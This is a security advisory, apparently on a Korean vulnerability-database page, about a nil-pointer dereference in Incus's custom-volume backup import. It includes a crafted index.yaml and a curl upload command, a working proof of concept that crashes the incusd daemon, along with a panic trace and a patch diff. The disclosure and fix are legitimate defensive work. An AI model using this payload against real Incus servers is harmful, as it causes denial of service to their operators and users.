Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.
This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check — the asymmetric guard is the bug.
Vulnerable code
internal/server/storage/backend.go, CreateCustomVolumeFromBackup:
1// Line 7710-7714 — the parent fix from GHSA-r7w7 2for _, s := range srcBackup.Config.VolumeSnapshots { 3 if s == nil { 4 return errors.New("Bad snapshot definition found in index") 5 } 6 snapshot := s 7 snapName := snapshot.Name 8 // ... 9 // Line 7731 — UNGUARDED *time.Time deref:10 err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,11 snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,12 *snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML13 snapVol.ContentType(), true, true)ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:
| Line | Code | Guarded? |
|---|---|---|
| 909-910 | CreateInstanceFromBackup | YES |
| 1134-1135 | refresh path | YES |
| 1422-1423 | migration path | YES |
| 7731 | CreateCustomVolumeFromBackup | NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
can_create_storage_volumesentitlement on any project. Same auth gate as parent GHSA-r7w7. POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwithtype: custom, a non-nilvolume:block, andvolume_snapshots: [{name: snap0}](noexpires_atfield). cmd/incusd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> thes == nilguard at 7712 passes (snapshot pointer is non-nil) ->*snapshot.ExpiresAton line 7731 panics on the nil*time.Time.- No
recover()is installed in the operation runner, so the panic kills the entireincusdprocess. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
1name: poc-vol 2backend: dir 3pool: default 4type: custom 5optimized: false 6optimized_header: false 7snapshots: [snap0] 8config: 9 volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}10 volume_snapshots:11 - name: snap012 description: snap013 config: {}14 # expires_at intentionally omittedProof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.
1$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ 2 --data-binary @/tmp/poc-vol.tar.gz \ 3 -H 'Content-Type: application/octet-stream' \ 4 -H 'X-Incus-name: poc-vol' \ 5 http://incus/1.0/storage-pools/default/volumes/custom 6{"type":"async","status":"Operation created","status_code":100,...} 7 8$ ps -ef | grep incusd | grep -v grep # process is GONEDaemon panic from /tmp/incus.out:
1panic: runtime error: invalid memory address or nil pointer dereference 2[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938] 3 4goroutine 422 [running]: 5github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...) 6 /build/incus/internal/server/storage/backend.go:7731 +0xb48 7main.createStoragePoolVolumeFromBackup.func7(...) 8 /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290 9github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)10 /build/incus/internal/server/operations/operations.go:307 +0x2c11created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 40812 /build/incus/internal/server/operations/operations.go:306 +0x168Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_storage_volumeson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Suggested fix
Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:
1--- a/internal/server/storage/backend.go 2+++ b/internal/server/storage/backend.go 3@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error { 4 snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config) 5 6 // Validate config and create database entry for new storage volume. 7 // Strip unsupported config keys (in case the export was made from a different type of storage pool). 8- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true) 9+ var snapExpiryDate time.Time10+ if snapshot.ExpiresAt != nil {11+ snapExpiryDate = *snapshot.ExpiresAt12+ }13+14+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)15 if err != nil {16 return err17 }Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.